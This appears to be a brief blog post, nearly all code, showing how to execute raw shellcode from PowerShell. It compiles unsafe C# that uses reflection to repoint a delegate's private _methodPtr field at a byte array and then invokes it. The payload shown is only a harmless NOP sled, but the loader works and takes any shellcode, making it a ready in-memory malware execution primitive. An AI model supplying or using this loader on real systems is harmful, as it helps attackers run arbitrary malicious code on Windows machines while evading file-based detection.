Executing Shellcode in Powershell via C# Delegate

#Thanks to http://www.atrevido.net/blog/2005/01/28/Inline+X86+ASM+In+C.aspx
$code = @"
namespace Danger {
    using System;
    using System.Reflection;


    public class Danger {
        public delegate uint SillyDelegate();
        static uint PlaceHolder1() { return 0; }

        public unsafe static uint WillRobinson(Byte[] code) {

            fixed (byte* startAddress = &code[0]) {
                Type delType = typeof(Delegate);
                FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);

                SillyDelegate del = new SillyDelegate(PlaceHolder1);
                _methodPtr.SetValue(del, (IntPtr) startAddress);

                return del();
            }
        }
    }
}
"@
#NOP Sled
$shellcode = "909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090"
$test = Convert-HexStringToByteArray $shellcode
#the function Convert-HexStringToByteArray comes from someone else...don't have the reference at the moment.

$options = New-Object System.CodeDom.Compiler.CompilerParameters
$options.CompilerOptions = "/unsafe"
Add-Type -TypeDefinition $code -CompilerParameters $options

[Danger.Danger]::WillRobinson($test)